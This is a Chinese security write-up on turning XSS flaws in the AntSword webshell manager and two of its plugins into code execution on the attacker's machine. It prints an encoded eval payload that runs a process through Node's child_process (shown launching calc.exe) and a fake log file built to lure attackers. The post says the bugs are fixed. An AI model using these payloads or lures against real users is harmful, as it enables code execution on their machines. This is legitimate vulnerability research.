原文链接:从虚假的XSS到放弃RCE再到Self-RCE
0x01 前言
中午在学校午休,就看了 @忍酱 的反制Goby, @暗羽师傅 的反制Burpsuite还有 @先知社区 里的反制蚁剑, @f4ltJ4y 的蚁剑复现,挑起了我想反制的心!
蚁剑版本: 2.1.12
0x02 虚假XSS
蚁剑是自带浏览器的,用的是Chrome!本想着暗羽师傅的那篇可以用得到,发现版本不对
发现它调用了dhtmlx框架,可以解析HTML - <img src=1 onerror=alert(1)>
复制代码正是因为这个虚假的XSS,更加激发了我想RCE的心!我们可以参考:
https://xz.aliyun.com/t/8167
批注: 「浏览网站」模块中,创建 Window 的时候,禁止了 Node 上下文支持,并且开启了沙箱,所以即便有 XSS 也不会引发 RCE。 学蚁致用
0x03 放弃RCE
我在想既然有内置浏览器,那么Chromium浏览器版本是否存在漏洞呢? 我们先得获取Chromuim版本 - # Console
- navigator.appCodeName
- navigator.appVersion
复制代码
如上图,谷歌浏览器的产品代号为"Mozilla" - "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) antsword/2.1.12 Chrome/69.0.3497.106 Electron/4.0.3 Safari/537.36"
复制代码
上图已知,Chrome/69.0.3497.106 Electron/4.0.3 我们查找相对应的远程代码执行的漏洞!已关闭沙箱
通过万能的百度我找到一个 Google Chrome < = 87.0.4280.88 远程代码执行 - # 参考文档:
- https://www.cnblogs.com/ethtool/p/14652420.html
- https://github.com/r4j0x00/exploits/blob/master/CVE-2020-16040/exploit.js
复制代码尝试后,我实在是想不明白这个DevTools怎么搞,我想尝试别的版本,高版本低版本我都试过了,都是 同一个问题!希望有师傅能够解惑,我太菜了。
0x04 「Redis管理」插件 Self-RCE
本文所述该插件的漏洞目前已经修复
峰回路转,本来我是打算放弃的,就随便点点插件里的内容。我是原先有下载一个Redis管理的插件的 - <img src=1 onerror=alert(1)>
复制代码直接通过HTML的方式解析
https://github.com/AntSword-Store/AS_Redis/blob/fac78f9605c4cee4d863b1c68a368916dc854051/libs/core.js
阅读了这个插件的源代码,发现并没有过滤以及加以限制,而且dhtmlx 解析,这应该是蚁剑开发的标准要求 - 'use strict'
- class Core {
- constructor(ShellCore, opt = {}) {
- this.ShellCore = ShellCore;
- this.host = opt['host'] || "127.0.0.1:6379";
- }
- setHost(host) { this.host = host; }
- // 将 buffer 转为 base64 string
- encode(buffer) {
- return Buffer.from(buffer).toString('base64');
- }
- decode(str) {
- // ...
- }
- get template() {
- // ...
- }
- }
- module.exports = Core;
复制代码dhtmlx v4 的 Tree 组件 text 属性是支持 html 的,在插件开发过程中,设置节点内容的时候,一定需要注意 XSS 问题 学蚁致用
漏洞点:
构造 Self-RCE
结合蚁剑的以下特点:
解析HTML时,不能使用单引号或双引号,否则会出现语法混乱 HTML源码和流量中均有Payload,导致攻击方很容易被反制,在执行命令后需要删除当前HTML节 点,并对流量进行加密。 - a="require('child_process').exec('calc.exe')"
- b=""
- for(i=0;i<a.length;i++)
- b = b + "," +a.charCodeAt(i)
复制代码 使用 JavaScript Obfuscator 对payload进行混淆,为了方便我这里就不混淆了 在Console执行得到处理后的payload
- <img src=1 onerror="eval(String.fromCharCode(114,101,113,117,105,114,101,40,39,99,104,105,1 08,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99, 46,101,120,101,39,41))">
复制代码
0x05 「LiveScan」插件 XSS 本文所述该插件的漏洞目前已经修复 这个是蚁剑判断WEBSHELL存活的一款插件
https://github.com/AntSword-Store/LiveScan/blob/master/libs/ui.js 行160-192 从开始扫描到渲染UI,每一步都没有调用JS替换函数: antSword.noxss
于是我构思,如何让他扫描后渲染出来,它扫描时shell不需要存活,于是我们shell地址开始下手 Windows对文件的命名有标准,我们没法使用尖括号 只能在链接的时候修改
XSS: - <img src=1 onerror=alert(1)>
- 例子:
- http://192.168.0.108/<img src=1 onerror=alert(1)>/1.php
复制代码
构思
其实对于我而言这个是有实战意义的: 钓鱼
就脚本小子以及初出茅庐的攻击方来说,设置钓鱼文件,伪造内容诱导添加shell并存活检测,也可以黑 吃黑,诱导其检测shell存活~
在网站目录下创建 txt 或者 log 文件,伪造内容: - 漏洞利用扫描器 结果:
- 指定连接shell管理工具 -- 蚁剑(AntSword)
- WebShell: http://192.168.0.108/<img src=1/ onerror="eval(String.fromCharCode(114,101,113,117,105,114,101,40,39,99,104,105,1 08,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99, 46,101,120,101,39,41))">/1.php
- 密码:cmd
- 连接后请务必进行存活检测 -- 插件中心下载 && https://github.com/AntSword-Store/LiveScan
- # 如遇插件中心存在打不开的情况,解决方法: https://mp.weixin.qq.com/s/hF3GgZpIcussc-BjUoJUuQ
复制代码
|